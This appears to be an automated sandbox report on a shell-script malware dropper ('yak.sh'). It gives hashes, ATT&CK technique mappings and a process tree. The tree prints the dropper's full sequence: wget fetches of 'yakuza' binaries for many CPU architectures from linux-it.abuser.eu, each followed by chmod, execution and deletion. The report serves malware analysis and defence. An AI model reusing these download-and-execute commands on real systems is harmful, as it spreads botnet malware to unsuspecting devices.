ca0bd413a34399accc6f62506ac94f9c7e1fd5c4efa49d1627eed568b1de78bf

Analysis

max time kernel
5s
max time network
35s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23-11-2024 23:57

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General

Target

yak.sh
Size

2KB
MD5

f50f60f970a5203dad27c480da7b4519
SHA1

f50f26900efe72f11c37767b5db9a3916a7c76b4
SHA256

ca0bd413a34399accc6f62506ac94f9c7e1fd5c4efa49d1627eed568b1de78bf
SHA512

40c118ed8e7b22ba4c439cc3de9a9d69d7cccd9b4d109b00a716ea564379e001304edaffb0f9ca143e87cb0138f566aebea2e998b76c9bb4b653cf7a191e4ddd

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 9 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

685 chmod
700 chmod
672 chmod
679 chmod
692 chmod
696 chmod
704 chmod
653 chmod
663 chmod
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

yakuza.mipsrmwgetyakuza.mipselrmwget

pid process

655 yakuza.mips
657 rm
659 wget
665 yakuza.mipsel
666 rm
644 wget

pid	process
685	chmod
700	chmod
672	chmod
679	chmod
692	chmod
696	chmod
704	chmod
653	chmod
663	chmod

pid	process
655	yakuza.mips
657	rm
659	wget
665	yakuza.mipsel
666	rm
644	wget

/tmp/yak.sh
/tmp/yak.sh
1⤵
PID:642
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.mips
  2⤵
  - System Network Configuration Discovery
  PID:644
- /bin/chmod
  chmod +x yakuza.mips
  2⤵
  - File and Directory Permissions Modification
  PID:653
- /tmp/yakuza.mips
  ./yakuza.mips
  2⤵
  - System Network Configuration Discovery
  PID:655
- /bin/rm
  rm -rf yakuza.mips
  2⤵
  - System Network Configuration Discovery
  PID:657
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:659
- /bin/chmod
  chmod +x yakuza.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:663
- /tmp/yakuza.mipsel
  ./yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:665
- /bin/rm
  rm -rf yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:666
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.sh
  2⤵
  PID:669
- /bin/chmod
  chmod +x yakuza.sh
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/yakuza.sh
  ./yakuza.sh
  2⤵
  PID:673
- /bin/rm
  rm -rf yakuza.sh
  2⤵
  PID:674
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.x86
  2⤵
  PID:676
- /bin/chmod
  chmod +x yakuza.x86
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/yakuza.x86
  ./yakuza.x86
  2⤵
  PID:681
- /bin/rm
  rm -rf yakuza.x86
  2⤵
  PID:682
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.arm6
  2⤵
  PID:683
- /bin/chmod
  chmod +x yakuza.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/yakuza.arm6
  ./yakuza.arm6
  2⤵
  PID:686
- /bin/rm
  rm -rf yakuza.arm6
  2⤵
  PID:687
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.i686
  2⤵
  PID:688
- /bin/chmod
  chmod +x yakuza.i686
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/yakuza.i686
  ./yakuza.i686
  2⤵
  PID:693
- /bin/rm
  rm -rf yakuza.i686
  2⤵
  PID:694
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.ppc
  2⤵
  PID:695
- /bin/chmod
  chmod +x yakuza.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/yakuza.ppc
  ./yakuza.ppc
  2⤵
  PID:697
- /bin/rm
  rm -rf yakuza.ppc
  2⤵
  PID:698
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.i586
  2⤵
  PID:699
- /bin/chmod
  chmod +x yakuza.i586
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/yakuza.i586
  ./yakuza.i586
  2⤵
  PID:701
- /bin/rm
  rm -rf yakuza.i586
  2⤵
  PID:702
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.m68k
  2⤵
  PID:703
- /bin/chmod
  chmod +x yakuza.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/yakuza.m68k
  ./yakuza.m68k
  2⤵
  PID:705
- /bin/rm
  rm -rf yakuza.m68k
  2⤵
  PID:706
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.arm4
  2⤵
  PID:707

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/703-1-0xb6723000-0xb6734044-memory.dmp

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